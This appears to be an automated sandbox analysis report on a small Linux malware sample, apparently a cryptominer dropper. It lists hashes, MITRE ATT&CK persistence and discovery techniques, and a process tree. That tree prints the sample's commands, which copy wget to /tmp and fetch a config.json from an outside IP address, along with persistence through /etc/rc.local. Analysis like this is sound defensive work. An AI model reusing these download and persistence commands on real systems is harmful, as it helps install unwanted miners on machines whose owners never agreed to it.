f60d0a378a482bde674b1e5d610bd8d3926468f59ced75e4d29776d14fa4c543

Analysis

max time kernel
132s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240226-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240226-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09/04/2024, 17:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ea79e6f3a96671aa051f677679c2bda0_JaffaCakes118
Size

2KB
MD5

ea79e6f3a96671aa051f677679c2bda0
SHA1

2e2f085e81e8e750da43d8217541404ab78461e9
SHA256

f60d0a378a482bde674b1e5d610bd8d3926468f59ced75e4d29776d14fa4c543
SHA512

ce1a0f0c3c233a3bfa2724961e9f0f4ae2b061a60560ec37f0acfabad931c6a5a13ae2477d363e855f586fb5e097d5a33c464e57fb8ab06641ac67afcff58fce

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/wget	1571	wget

Enumerates running processes
Discovers information about currently running processes on the system

Modifies rc script 1 TTPs 1 IoCs

Adding/modifying system rc scripts is a common persistence mechanism.

persistence

Boot or Logon Autostart Execution

T1547

description	ioc	Process
File opened for modification	/etc/rc.local	ea79e6f3a96671aa051f677679c2bda0_JaffaCakes118

Reads CPU attributes 1 TTPs 1 IoCs

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/156/cmdline	ps
File opened for reading	/proc/427/status	ps
File opened for reading	/proc/1158/status	ps
File opened for reading	/proc/674/stat	ps
File opened for reading	/proc/1065/stat	ps
File opened for reading	/proc/1121/cmdline	ps
File opened for reading	/proc/1158/cmdline	ps
File opened for reading	/proc/1176/cmdline	ps
File opened for reading	/proc/20/stat	ps
File opened for reading	/proc/32/cmdline	ps
File opened for reading	/proc/85/cmdline	ps
File opened for reading	/proc/172/cmdline	ps
File opened for reading	/proc/474/cmdline	ps
File opened for reading	/proc/82/cmdline	ps
File opened for reading	/proc/523/cmdline	ps
File opened for reading	/proc/1374/stat	ps
File opened for reading	/proc/163/status	ps
File opened for reading	/proc/444/cmdline	ps
File opened for reading	/proc/703/stat	ps
File opened for reading	/proc/1125/cmdline	ps
File opened for reading	/proc/1188/cmdline	ps
File opened for reading	/proc/593/stat	ps
File opened for reading	/proc/1566/status	ps
File opened for reading	/proc/36/status	ps
File opened for reading	/proc/578/cmdline	ps
File opened for reading	/proc/1067/cmdline	ps
File opened for reading	/proc/1125/status	ps
File opened for reading	/proc/158/stat	ps
File opened for reading	/proc/168/stat	ps
File opened for reading	/proc/197/cmdline	ps
File opened for reading	/proc/593/cmdline	ps
File opened for reading	/proc/1285/stat	ps
File opened for reading	/proc/21/cmdline	ps
File opened for reading	/proc/156/status	ps
File opened for reading	/proc/1112/cmdline	ps
File opened for reading	/proc/uptime	ps
File opened for reading	/proc/481/cmdline	ps
File opened for reading	/proc/1334/status	ps
File opened for reading	/proc/155/stat	ps
File opened for reading	/proc/170/cmdline	ps
File opened for reading	/proc/301/status	ps
File opened for reading	/proc/1006/status	ps
File opened for reading	/proc/1137/status	ps
File opened for reading	/proc/1158/stat	ps
File opened for reading	/proc/9/cmdline	ps
File opened for reading	/proc/23/status	ps
File opened for reading	/proc/1056/cmdline	ps
File opened for reading	/proc/1252/stat	ps
File opened for reading	/proc/1568/status	ps
File opened for reading	/proc/556/cmdline	ps
File opened for reading	/proc/944/status	ps
File opened for reading	/proc/1016/status	ps
File opened for reading	/proc/162/cmdline	ps
File opened for reading	/proc/482/stat	ps
File opened for reading	/proc/483/cmdline	ps
File opened for reading	/proc/544/stat	ps
File opened for reading	/proc/556/status	ps
File opened for reading	/proc/1292/cmdline	ps
File opened for reading	/proc/1334/stat	ps
File opened for reading	/proc/2/stat	ps
File opened for reading	/proc/12/status	ps
File opened for reading	/proc/169/cmdline	ps
File opened for reading	/proc/482/cmdline	ps
File opened for reading	/proc/1129/cmdline	ps

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wget	cp

/tmp/ea79e6f3a96671aa051f677679c2bda0_JaffaCakes118
/tmp/ea79e6f3a96671aa051f677679c2bda0_JaffaCakes118
1⤵
- Modifies rc script
PID:1559
- /bin/cp
  cp /usr/bin/wget .
  2⤵
  - Writes file to tmp directory
  PID:1569
- /bin/chmod
  chmod +x wget
  2⤵
  PID:1570
- /tmp/wget
  ./wget -P /tmp/ http://103.45.185.68:6358/config.json
  2⤵
  - Executes dropped EXE
  PID:1571

/bin/grep
grep -v grep
1⤵
PID:1563

/bin/grep
grep /etc/mlwk.sh
1⤵
PID:1562

/bin/cat
cat /etc/rc.local
1⤵
PID:1561

/usr/bin/wc
wc -l
1⤵
PID:1568

/bin/grep
grep -v grep
1⤵
PID:1567

/bin/grep
grep /tmp/xmrig
1⤵
PID:1566

/bin/ps
ps aux
1⤵
- Reads CPU attributes
- Reads runtime system information
PID:1565

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/etc/rc.local

Filesize
18B

MD5
2e5bcdd3b23224ecae22093a9349b20a

SHA1
b4a63c6da233638e105eb63db7c2bf6dcf9b11c3

SHA256
4157be04ebab2c4aa0df84f890df6062723225e8dc19cabc475f4febc5c8a77d

SHA512
c40cd9dad61486ab872ed7d05bbdfd7ac55d22c8b12e113aa84b9ee664d5744c40807d9b7bd7390e4c570874418bdcc14695017fbffb5dabeaf58dd60ce66af7

Download Submit
/tmp/wget

Filesize
487KB

MD5
c3d53e47e50f2f61016331da435b3764

SHA1
96b8ea5f95dcce5781a673bc9effe1bdb8e1756d

SHA256
0f2b21e911bd10d795a110af7901d7860228f63cf14594ecbfb397e66000b4ae

SHA512
790cf336231b7c7bb24037f62326643df1c030314085957d8bc06a4217395b49f49e50f9a503652ad2650f2cab642bd98bd34fd4df4ab8f02becaf262d2c148a

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads